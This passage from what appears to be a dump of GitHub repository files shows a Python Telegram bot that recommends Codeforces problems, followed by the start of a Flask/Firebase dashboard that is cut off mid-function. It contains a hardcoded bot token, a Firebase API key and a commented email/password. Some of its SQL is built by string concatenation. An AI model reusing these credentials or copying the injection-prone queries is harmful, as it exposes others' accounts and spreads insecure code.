s[4]))\\n x = cursor.fetchone()\\n if s2[1] == 'OK' and x != None:\\n cursor.execute(\\\"update result set verdict = ? where problem = ? and diff = ?\\\", (s2[1], s[3], s[4]))\\n if x[2] != 'OK':\\n cursor.execute(\\\"update result set verdict = ? where problem = ? and diff = ?\\\", (s2[1], s[3], s[4]))\\n if v:\\n break\\n\\n conn.commit()\\n conn.close()\\n\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"update users set username = ? where chat_id = ?\\\", (str(username), str(chat_id)))\\n conn.execute(\\\"update users set last_update = ? where chat_id = ?\\\", (str(last_try_new), str(chat_id)))\\n conn.execute(\\\"update users set last_problem = ? where chat_id = ?\\\", (str(last_problem), str(chat_id)))\\n\\n settings.commit()\\n settings.close()\\n\\n\\ndef update_theory_base(tag, link):\\n theory = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\theory.db\\\")\\n conn = theory.cursor()\\n conn.execute(\\\"insert into ? values (?)\\\", (tag, str(link)))\\n theory.commit()\\n theory.close()\"\n },\n {\n \"alpha_fraction\": 0.6580531597137451,\n \"alphanum_fraction\": 0.6626046299934387,\n \"avg_line_length\": 39.30769348144531,\n \"blob_id\": \"dc74ac352d2375bab83aec668428e8f2f2a7f13b\",\n \"content_id\": \"175a69c035a975a17e24c643632110ae8d30d59b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6811,\n \"license_type\": \"no_license\",\n \"max_line_length\": 175,\n \"num_lines\": 169,\n \"path\": \"/bot.py\",\n \"repo_name\": \"lissrbay/codeforces_bot\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#CFTrainingBot\\nimport config\\nimport telebot\\nimport bases.createuserbase\\nimport bases.createcfbase\\nimport bases.problem\\nimport sqlite3\\nimport os\\nimport bases.update\\n\\nbot = telebot.TeleBot(config.token)\\n\\n\\ndef get_current_state(chat_id):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__))+\\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"select * from users where chat_id = ?\\\", (str(chat_id),))\\n name = conn.fetchone()\\n if name != None:\\n return name[4]\\n else:\\n return False\\n settings.close()\\n\\ndef set_state(chat_id, value):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"update users set state = ? where chat_id = ?\\\", (str(value), str(chat_id)))\\n settings.commit()\\n settings.close()\\n\\n@bot.message_handler(commands = ['help'])\\ndef show_help(message):\\n s = ''\\n s += \\\"/login - to authorization.\\\\n\\\"\\n s += \\\"/task - to get random unsolved task.\\\\n\\\"\\n s += \\\"/theory - to get theory for chosen tag.\\\\n\\\"\\n s += \\\"/stats - to see your statistic.\\\"\\n bot.send_message(message.chat.id, \\\"Type:\\\\n\\\" + s)\\n\\n\\n@bot.message_handler(commands=['start'])\\ndef sayhellotoeveryone(message):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n bot.send_message(message.chat.id, \\\"Hello!\\\")\\n bot.send_message(message.chat.id, \\\"Type /help to see list of commands.\\\")\\n conn.execute(\\\"insert into users values (?, ?, ?, ?, ?)\\\", (str(message.chat.id), \\\"None\\\", \\\"NULL\\\", \\\"0\\\", config.States.S_START.value))\\n settings.commit()\\n settings.close()\\n\\n\\n#Not available for users\\n@bot.message_handler(commands=['add'])\\ndef add_theory(message):\\n bot.send_message(message.chat.id, \\\"Gimme tag and link\\\")\\n set_state(message.chat.id, config.States.S_THEORY_ADDING.value)\\n\\n\\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_THEORY_ADDING.value)\\ndef add_theory2(message):\\n s = message.text.split()\\n bases.update.update_theory_base(s[0], s[1])\\n set_state(message.chat.id, config.States.S_START.value)\\n\\n\\n@bot.message_handler(commands=['theory'])\\ndef get_theory(message):\\n bot.send_message(message.chat.id, \\\"Print tag for theory.\\\\nList of tags:\\\\n - math \\\\n - dp \\\\n - greedy \\\\n - strings \\\\n - trees \\\\n - graphs \\\\n - geometry \\\\n - combinatorics\\\")\\n set_state(message.chat.id, config.States.S_THEORY.value)\\n\\n\\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_THEORY.value)\\ndef get_theory2(message):\\n bot.send_message(message.chat.id, str(bases.problem.get_theory_from_tag(message.text)))\\n set_state(message.chat.id, config.States.S_START.value)\\n\\n\\n@bot.message_handler(commands =['login'])\\ndef get_login(message):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"select * from users where chat_id = ?\\\", (str(message.chat.id),))\\n name = conn.fetchone()\\n if name != None:\\n bot.send_message(message.chat.id, \\\"Previous handle: \\\" + str(name[1]))\\n else:\\n bot.send_message(message.chat.id, \\\"Previous handle: None\\\")\\n settings.close()\\n bot.send_message(message.chat.id, \\\"Type new handle: \\\")\\n set_state(message.chat.id, config.States.S_LOGIN.value)\\n\\n\\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_LOGIN.value)\\ndef get_login2(message):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n if bases.createuserbase.check_username(message.text):\\n bot.send_message(message.chat.id, \\\"Invalid handle.\\\")\\n set_state(message.chat.id, config.States.S_START.value)\\n return 0\\n conn.execute(\\\"select * from users where chat_id = ?\\\", (str(message.chat.id),))\\n name = conn.fetchone()\\n settings.close()\\n bases.update.cf_update()\\n bases.createuserbase.clean_base(name[1])\\n bases.createuserbase.clean_base(message.text)\\n bot.send_message(message.chat.id, \\\"Creating base...\\\")\\n bases.createuserbase.init_user(message.text, message.chat.id)\\n bot.send_message(message.chat.id, \\\"Done!\\\")\\n set_state(message.chat.id, config.States.S_START.value)\\n\\n\\n@bot.message_handler(commands=['task'])\\ndef task(message):\\n s = \\\"Which kind of task you need?\\\\n\\\"\\n s += \\\"List of tags:\\\\n - math \\\\n - dp \\\\n - greedy \\\\n - strings\\\"\\n s += \\\"\\\\n - trees \\\\n - graphs \\\\n - geometry \\\\n - combinatorics\\\"\\n s += \\\"\\\\nYou may combine tags and difficults e.x. write '\\\"'dp math AB'\\\"' to get task with these tags and difficults.\\\"\\n bot.send_message(message.chat.id, s)\\n set_state(message.chat.id, config.States.S_GET_TASK.value)\\n\\n\\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_GET_TASK.value)\\ndef get_task(message):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"select * from users where chat_id = ?\\\", (str(message.chat.id),))\\n name = conn.fetchone()\\n settings.close()\\n if name == None:\\n bot.send_message(message.chat.id, \\\"You should login before get tasks.\\\")\\n else:\\n bases.update.update_user(name[1], name[0], name[2])\\n bot.send_message(message.chat.id, bases.problem.get_unsolved_problem(message.text, name[1]))\\n set_state(message.chat.id, config.States.S_START.value)\\n\\n\\n@bot.message_handler(commands=['stats'])\\ndef stats(message):\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"select * from users where chat_id = ?\\\", (str(message.chat.id),))\\n name = conn.fetchone()\\n settings.close()\\n if name != None:\\n bases.update.update_user(name[1], name[0], name[2])\\n bases.problem.create_text_stats(name[1])\\n img = open(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\users\\\\\\\\\\\" + name[1] + \\\".png\\\", \\\"rb\\\")\\n bot.send_photo(message.chat.id, img)\\n img.close()\\n if bases.problem.create_stats_picture(name[1]):\\n bot.send_message(message.chat.id, \\\"Sorry, you haven't solved tasks.\\\")\\n return 0\\n img = open(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\bases\\\\\\\\users\\\\\\\\\\\" + name[1] + \\\".png\\\", \\\"rb\\\")\\n bot.send_photo(message.chat.id, img)\\n img.close()\\n else:\\n bot.send_message(message.chat.id, \\\"You should login before getting statistic.\\\")\\n\\n\\n@bot.message_handler(content_types=['text'])\\ndef reply(message):\\n bot.send_message(message.chat.id, \\\"Hmm...\\\")\\n\\n\\nif __name__ == '__main__':\\n bot.polling(none_stop = True)\"\n },\n {\n \"alpha_fraction\": 0.5541045069694519,\n \"alphanum_fraction\": 0.5630596876144409,\n \"avg_line_length\": 36.74647903442383,\n \"blob_id\": \"b049cc951d09c399c27173c4ce8d3cd22be61c40\",\n \"content_id\": \"0df997f55693273cd79372706f8f02e1f0ea8f8b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2680,\n \"license_type\": \"no_license\",\n \"max_line_length\": 129,\n \"num_lines\": 71,\n \"path\": \"/bases/createcfbase.py\",\n \"repo_name\": \"lissrbay/codeforces_bot\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport sqlite3\\nimport os\\nfrom bs4 import BeautifulSoup\\navailable_tags = {'math', \\\"strings\\\", \\\"trees\\\", \\\"graphs\\\", \\\"dp\\\", \\\"greedy\\\", \\\"geometry\\\", \\\"combinatorics\\\"}\\n\\ndef create_cf_base():\\n url = 'http://codeforces.com/problemset/'\\n r = requests.get(url)\\n max_page = 0\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n base = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\cf.db\\\")\\n conn = base.cursor()\\n conn.execute(\\\"create table problems (problem INTEGER, diff CHAR)\\\")\\n for i in available_tags:\\n conn.execute(\\\"create table ? (problems INTEGER, diff CHAR)\\\", (i,))\\n\\n for link in soup.find_all(attrs={\\\"class\\\" : \\\"page-index\\\"}):\\n s = link.find('a')\\n s2 = s.get(\\\"href\\\").split('/')\\n max_page = max(max_page, int(s2[3]))\\n\\n a = 0\\n b = 0\\n f = False\\n for i in range(1, max_page + 1):\\n r = requests.get('http://codeforces.com/problemset/' + '/page/' + str(i))\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n old = ''\\n for link in soup.find_all('a'):\\n s = link.get('href')\\n if s != None and s.find('/problemset') != -1:\\n s = s.split('/')\\n if len(s) == 5 and old != s[3] + s[4]:\\n a = s[3]\\n b = s[4]\\n old = s[3] + s[4]\\n if not f:\\n f = True\\n last_update = old\\n conn.execute(\\\"insert into problems values (?, ?)\\\", (a, b))\\n if len(s) == 4 and s[3] in available_tags:\\n conn.execute(\\\"insert into ? values (?, ?)\\\", (s[3], a, b))\\n\\n base.commit()\\n base.close()\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"create table users (chat_id INTEGER, username STRING, last_update STRING, last_problem STRING, state INTEGER)\\\")\\n conn.execute(\\\"create table last_update_problemset (problem STRING)\\\")\\n conn.execute(\\\"insert into last_update_problemset values (?)\\\", (last_update, ))\\n settings.commit()\\n settings.close()\\n\\n\\ndef create_theory_table(): #create EMPTY theory table\\n theory = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\theory.db\\\")\\n conn = theory.cursor()\\n for i in available_tags:\\n conn.execute(\\\"create table \\\" + i + \\\" (link STRING)\\\")\\n theory.commit()\\n theory.close()\\n\\n\\npath = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'cf.db')\\nif not os.path.exists(path):\\n create_cf_base()\\n\\npath = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'theory.db')\\nif not os.path.exists(path):\\n create_theory_table()\\n\"\n },\n {\n \"alpha_fraction\": 0.508474588394165,\n \"alphanum_fraction\": 0.5423728823661804,\n \"avg_line_length\": 16.5,\n \"blob_id\": \"0fef44d39eb35bed6465b5fc878aa17afab4f7a3\",\n \"content_id\": \"a7e3f1ca457443192677c053033a0e4679c1a103\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 177,\n \"license_type\": \"no_license\",\n \"max_line_length\": 23,\n \"num_lines\": 10,\n \"path\": \"/config.py\",\n \"repo_name\": \"lissrbay/codeforces_bot\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ntoken = '461438069:AAG9IElm7TwFhLmheTpPmwYKn2xOqPWrLBw'\\nfrom enum import Enum\\n\\nclass States(Enum):\\n S_START = 0\\n S_LOGIN = 1\\n S_GET_TASK = 2\\n S_THEORY = 3\\n S_THEORY_ADDING = 4\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5890411138534546,\n \"alphanum_fraction\": 0.6014225482940674,\n \"avg_line_length\": 36.19607925415039,\n \"blob_id\": \"192d37686765bb4df1e2e17c7913bc801370ad1b\",\n \"content_id\": \"f99fb1728a174a6f8b97a98be771c91eb2201bbb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7896,\n \"license_type\": \"no_license\",\n \"max_line_length\": 148,\n \"num_lines\": 204,\n \"path\": \"/bases/problem.py\",\n \"repo_name\": \"lissrbay/codeforces_bot\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Ребята, не стоит вскрывать этот код.\\n#Вы молодые, хакеры, вам все легко. Это не то.\\n#Это не Stuxnet и даже не шпионские программы ЦРУ. Сюда лучше не лезть.\\n#Серьезно, любой из вас будет жалеть. Лучше закройте компилятор и забудьте что там писалось.\\n#Я вполне понимаю что данным сообщением вызову дополнительный интерес, но хочу сразу предостеречь пытливых - стоп.\\n#Остальные просто не найдут.\\n\\nimport sqlite3\\nimport os\\nimport random\\nimport matplotlib.pyplot as plt\\n\\navailable_tags = ['math', \\\"strings\\\", \\\"trees\\\", \\\"graphs\\\", \\\"dp\\\", \\\"greedy\\\", \\\"geometry\\\", \\\"combinatorics\\\"]\\navailable_diff = ['A', 'B', 'C', 'D', 'E', 'F']\\ncolors = ['red', 'green', 'tan', 'blue', 'purple', 'orange']\\n\\ndef checking_request_tags(tag):\\n list_of_current_tags = list()\\n for i in available_tags:\\n if i in tag:\\n list_of_current_tags.append(i)\\n\\n if len(list_of_current_tags) == 0:\\n return available_tags.copy()\\n\\n return list_of_current_tags\\n\\n\\ndef find_intersection(tasks, tag, username):\\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\\\\\cf.db')\\n cursor = conn.cursor()\\n cursor2 = conn2.cursor()\\n cursor2.execute(\\\"SELECT * FROM \\\" + tag)\\n a = list()\\n problem_and_diff = cursor2.fetchone()\\n while problem_and_diff != None:\\n cursor.execute(\\\"SELECT * FROM result WHERE problem = ? AND diff = ? AND NOT verdict = 'OK'\\\", (problem_and_diff[0], problem_and_diff[1]))\\n problem_and_diff_and_ok = cursor.fetchone()\\n if problem_and_diff_and_ok != None and problem_and_diff_and_ok in tasks:\\n a.append(problem_and_diff_and_ok)\\n problem_and_diff = cursor2.fetchone()\\n conn.close()\\n conn2.close()\\n return a\\n\\n\\ndef get_array_of_tasks(tags_array, tasks, username):\\n for i in range(1, len(tags_array)):\\n tasks = find_intersection(tasks, tags_array[i], username)\\n return tasks\\n\\n\\ndef checking_request_diff(tag):\\n list_of_current_diff = list()\\n for i in available_diff:\\n if i in tag:\\n list_of_current_diff.append(i)\\n if len(list_of_current_diff) == 0:\\n return available_diff.copy()\\n return list_of_current_diff\\n\\n\\ndef get_unsolved_problem(tag, username):\\n tasks = list()\\n list_of_current_tags = checking_request_tags(tag)\\n list_of_current_diff = checking_request_diff(tag)\\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\\\\\cf.db')\\n cursor = conn.cursor()\\n cursor2 = conn2.cursor()\\n cursor2.execute(\\\"SELECT * FROM \\\" + list_of_current_tags[0])\\n problem_and_diff = cursor2.fetchone()\\n while problem_and_diff != None:\\n if problem_and_diff[1] in list_of_current_diff:\\n cursor.execute(\\\"SELECT * FROM result WHERE problem = ? AND diff = ? AND NOT verdict = 'OK'\\\", (problem_and_diff[0], problem_and_diff[1]))\\n problem_and_diff_and_ok = cursor.fetchone()\\n if problem_and_diff_and_ok != None:\\n tasks.append(problem_and_diff_and_ok)\\n problem_and_diff = cursor2.fetchone()\\n conn.close()\\n conn2.close()\\n tasks = get_array_of_tasks(list_of_current_tags, tasks, username)\\n random.seed()\\n if len(tasks) > 0:\\n ind1 = random.randint(0, len(tasks) - 1)\\n s1 = str(tasks[ind1][0]) + '/' + tasks[ind1][1]\\n tasks.pop(ind1)\\n return 'http://codeforces.com/problemset/problem/' + s1\\n else:\\n return \\\"You have solved all tasks with this tag, nice!\\\"\\n\\ndef get_theory_from_tag(tag):\\n if not tag in available_tags:\\n return \\\"Incorrect tag.\\\"\\n\\n base = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\theory.db\\\")\\n conn = base.cursor()\\n conn.execute(\\\"select * from \\\" + tag)\\n x = conn.fetchone()\\n s = \\\"\\\"\\n while x != None:\\n s += str(x[0]) + '\\\\n'\\n x = conn.fetchone()\\n base.close()\\n return s\\n\\nclass Pair():\\n def __init__(self, first, second):\\n self.first = first\\n self.second = second\\n\\ndef count_stats(username):\\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\\\\\cf.db')\\n cursor = conn.cursor()\\n cursor2 = conn2.cursor()\\n list_tags_stats = list()\\n\\n for i in available_tags:\\n cursor2.execute(\\\"SELECT * FROM \\\" + str(i))\\n x = cursor2.fetchone()\\n count = 0\\n while x != None:\\n cursor.execute(\\\"SELECT * FROM result WHERE problem = ? AND diff = ? AND verdict = 'OK'\\\", (x[0], x[1]))\\n y = cursor.fetchone()\\n if y != None:\\n count += 1\\n x = cursor2.fetchone()\\n list_tags_stats.append(Pair(count, i))\\n conn.close()\\n conn2.close()\\n return list_tags_stats\\n\\ndef create_stats_picture(username):\\n data_for_plot = list()\\n leg = list()\\n list_tags_stats = count_stats(username)\\n sum = 0\\n for i in range(len(list_tags_stats)):\\n sum += list_tags_stats[i].first\\n for i in range(len(list_tags_stats)):\\n if list_tags_stats[i].first / sum != 0:\\n data_for_plot.append(list_tags_stats[i].first / sum)\\n leg.append(list_tags_stats[i].second)\\n\\n fig1, ax1 = plt.subplots()\\n ax1.pie(data_for_plot, autopct='%1.1f%%',\\n shadow=True, startangle=90)\\n ax1.axis('equal')\\n ax1.legend(leg)\\n path = os.path.join(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\", username + '.png')\\n if os.path.exists(path):\\n os.remove(path)\\n plt.savefig(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + \\\".png\\\")\\n plt.close()\\n return False\\n\\n\\ndef count_stats_for_second_plot(username):\\n verdict = {\\\"COMPILATION_ERROR\\\": 0, \\\"OK\\\": 0, \\\"TIME_LIMIT_EXCEEDED\\\": 0, \\\"WRONG_ANSWER\\\": 0, \\\"RUNTIME_ERROR\\\": 0,\\n \\\"MEMORY_LIMIT_EXCEEDED\\\": 0}\\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\\\\\cf.db')\\n cursor = conn.cursor()\\n cursor2 = conn2.cursor()\\n count = 0\\n for i in available_tags:\\n cursor2.execute(\\\"SELECT * FROM \\\" + str(i))\\n x = cursor2.fetchone()\\n while x != None:\\n cursor.execute(\\\"SELECT * FROM result WHERE problem = ? AND diff = ?\\\", (x[0], x[1]))\\n y = cursor.fetchone()\\n if y != None:\\n for j in verdict.keys():\\n if y[2] == j:\\n verdict[j] += 1\\n count += 1\\n\\n x = cursor2.fetchone()\\n return verdict\\n conn.close()\\n conn2.close()\\n\\n\\ndef create_text_stats(username):\\n list_tags_stats = list()\\n data_for_plot = list()\\n verdict = count_stats_for_second_plot(username)\\n for i in verdict.keys():\\n list_tags_stats.append(i)\\n data_for_plot.append(verdict[i])\\n fig1, ax1 = plt.subplots()\\n ax1.pie(data_for_plot, labels = data_for_plot, colors = colors,\\n shadow=True, startangle=90)\\n ax1.axis('equal')\\n ax1.legend(list_tags_stats)\\n ax1.set_title('How many different verdict in last status of problem you have: ')\\n path = os.path.join(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\", username + '.png')\\n if os.path.exists(path):\\n os.remove(path)\\n plt.savefig(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + \\\".png\\\")\\n plt.close()\\n return True\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5495448708534241,\n \"alphanum_fraction\": 0.5622887015342712,\n \"avg_line_length\": 42.21348190307617,\n \"blob_id\": \"df29d72b00a9b09f5faa74ab0e8e7eb09957fcb7\",\n \"content_id\": \"8ed686d74b22b051a3aa87d54c3f7006b9162dd5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3845,\n \"license_type\": \"no_license\",\n \"max_line_length\": 125,\n \"num_lines\": 89,\n \"path\": \"/bases/createuserbase.py\",\n \"repo_name\": \"lissrbay/codeforces_bot\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport sqlite3\\nimport os\\nfrom bs4 import BeautifulSoup\\n\\n\\ndef check_username(username):\\n if username == \\\"\\\":\\n return True\\n if len(username.split()) > 1:\\n return True\\n r = requests.get('http://codeforces.com/submissions/' + username)\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n if soup.find(attrs={\\\"class\\\":\\\"verdict\\\"}) == None:\\n return True\\n return False\\n\\n\\ndef clean_base(username):\\n path = os.path.join(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n if os.path.exists(path):\\n os.remove(path)\\n\\n\\ndef init_user(username, chat_id):\\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\\\\\cf.db')\\n cursor = conn.cursor()\\n cursor2 = conn2.cursor()\\n cursor.execute(\\\"CREATE TABLE result (problem INTEGER, diff STRING, verdict STRING)\\\")\\n cursor2.execute(\\\"SELECT * FROM problems\\\")\\n x = cursor2.fetchone()\\n while x != None:\\n cursor.execute(\\\"insert into result values (?, ?, ? )\\\", (x[0], x[1], \\\"NULL\\\"))\\n x = cursor2.fetchone()\\n\\n url = 'http://codeforces.com/submissions/' + username\\n r = requests.get(url)\\n max_page = 1\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n\\n for link in soup.find_all(attrs={\\\"class\\\": \\\"page-index\\\"}):\\n s = link.find('a')\\n s2 = s.get(\\\"href\\\").split('/')\\n max_page = max(max_page, int(s2[4]))\\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/0')\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n last_try = soup.find(attrs={\\\"class\\\":\\\"status-small\\\"})\\n if not last_try == None:\\n last_try = str(last_try).split()\\n last_try = str(last_try[2]) + str(last_try[3])\\n\\n for i in range(1, max_page + 1):\\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/' + str(i))\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n count = 0\\n ver = soup.find_all(attrs={\\\"class\\\": \\\"submissionVerdictWrapper\\\"})\\n for link in soup.find_all('a'):\\n s = link.get('href')\\n if s != None and s.find('/problemset') != -1:\\n s = s.split('/')\\n if len(s) == 5:\\n s2 = str(ver[count]).split()\\n s2 = s2[5].split('\\\\\\\"')\\n count += 1\\n cursor.execute(\\\"select * from result where problem = ? and diff = ?\\\", (s[3], s[4]))\\n x = cursor.fetchone()\\n if s2[1] == 'OK' and x != None:\\n cursor.execute(\\\"update result set verdict = ? where problem = ? and diff = ?\\\", (s2[1], s[3], s[4]))\\n if x != None and x[2] != 'OK':\\n cursor.execute(\\\"update result set verdict = ? where problem = ? and diff = ?\\\", (s2[1], s[3], s[4]))\\n conn.commit()\\n conn.close()\\n conn2.close()\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"select * from last_update_problemset\\\")\\n last_problem = conn.fetchone()\\n conn.execute(\\\"select * from users where chat_id = ?\\\", (str(chat_id),))\\n x = conn.fetchone()\\n if x == None:\\n conn.execute(\\\"insert into users values (?, ?, ?, ?, ?)\\\", (chat_id, username, str(last_try), str(last_problem[0]), 1))\\n else:\\n conn.execute(\\\"update users set username = ? where chat_id = ?\\\", (str(username), str(chat_id)))\\n conn.execute(\\\"update users set last_update = ? where chat_id = ?\\\", (str(last_try), str(chat_id)))\\n conn.execute(\\\"update users set last_problem = ? where chat_id = ?\\\", (str(last_problem[0]), str(chat_id)))\\n conn.execute(\\\"update users set state = ? where chat_id = ?\\\", (str(1), str(chat_id)))\\n settings.commit()\\n settings.close()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2978363,"cells":{"repo_name":{"kind":"string","value":"KhazanahAmericasInc/sensortower-dashboard"},"repo_url":{"kind":"string","value":"https://github.com/KhazanahAmericasInc/sensortower-dashboard"},"snapshot_id":{"kind":"string","value":"281b91334205f9e3d052bad7f0574726ec84647f"},"revision_id":{"kind":"string","value":"b692d35f7d2a0bd457812ca3e438ad9041a10c56"},"directory_id":{"kind":"string","value":"f354e77fac54bcd63eaec1cd568eb0c0beb7edb8"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-20T02:15:57.560857","string":"2020-04-20T02:15:57.560857"},"revision_date":{"kind":"timestamp","value":"2019-02-07T03:10:31","string":"2019-02-07T03:10:31"},"committer_date":{"kind":"timestamp","value":"2019-02-07T03:10:31","string":"2019-02-07T03:10:31"},"github_id":{"kind":"number","value":168567149,"string":"168,567,149"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6648044586181641,"alphanum_fraction":0.6703910827636719,"avg_line_length":26.55384635925293,"blob_id":"a10ccbc9f6cac50ac988adde122ddfd8eebcf5e8","content_id":"7836e3c932c02f14d407f480025af3269cba754e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1790,"license_type":"no_license","max_line_length":107,"num_lines":65,"path":"/main.py","repo_name":"KhazanahAmericasInc/sensortower-dashboard","src_encoding":"UTF-8","text":"from flask import Flask\nfrom flask import render_template\nimport pyrebase\napp = Flask(__name__)\n\nconfig = {\n\t\"apiKey\": \"AIzaSyCUeQILRjIK7-3om5eyIWwFOYx4YPHOvaY\",\n \"authDomain\": \"sensortower-dashboard.firebaseapp.com\",\n \"databaseURL\": \"https://sensortower-dashboard.firebaseio.com\",\n\t\"storageBucket\": \"sensortower-dashboard.appspot.com\",\n\t\"serviceAccount\": \"./auth/sensortower-dashboard-firebase-adminsdk-xuy2n-65d15773de.json\" \n}\nfirebase = pyrebase.initialize_app(config)\n\n# auth = firebase.auth()\n# user = auth.sign_in_with_email_and_password(\"khazanahamericas@gmail.com\", \"kai-2019\")\n\ndb=firebase.database()\n\n@app.route('/')\ndef hello():\n\tvehicle_data = get_all_data()\n\tvehicle_data_arr = get_all_data_arrs()\n\treturn render_template(\"dashboard.html\", vehicle_data = vehicle_data, vehicle_data_arr = vehicle_data_arr)\n\n# def push_data(latitude, longitude):\n# \tnew_car = {\"name\": \"Car1\", \"location\": {\"latitude\":latitude,\"longitude\":longitude}}\n# \tdata={\"name\":\"test\"}\n# \tdb.child(\"cars-spotted\").push(new_car)\n# \tusers = db.child('cars-spotted').get()\n# \tprint(users.val())\n# \t# db.child(\"users\").push()\n\n# @app.route('/get_data', methods=[\"GET\", \"POST\"])\ndef get_all_data():\n\tvehicles = db.child('vehicles').get()\n\tvehicles_array = []\n\tfor vehicle in vehicles.each():\n\t\tvehicles_array.append(vehicle.val())\n\t# print(vehicles_array)\n\t# print(vehicles_array[0])\n\t# print(len(vehicles_array))\n\treturn vehicles_array\n\ndef get_all_data_arrs():\n\tvehicles = db.child('vehicles').get()\n\tvehicles_array = []\n\tfor vehicle in 